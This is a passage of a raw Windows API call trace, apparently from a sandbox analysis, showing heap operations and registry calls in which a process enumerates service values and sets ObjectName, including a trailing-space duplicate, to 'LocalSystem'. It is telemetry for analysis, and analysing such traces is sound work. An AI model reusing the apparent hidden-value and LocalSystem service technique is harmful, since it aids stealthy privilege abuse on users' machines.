RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d488) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157010) returned 1 [0239.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157020) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.325] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0239.325] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0239.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0239.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0239.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0239.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0239.326] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0239.326] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42f8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0239.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0239.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0239.326] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0239.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0239.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0239.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0239.327] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.327] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.328] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.328] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.328] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.328] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.328] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.328] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0239.328] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.328] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0239.328] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0239.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0239.328] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0239.329] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.329] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0239.329] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0239.329] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0239.329] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.329] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0239.329] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.329] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.329] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0239.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0239.330] RtlFreeHeap 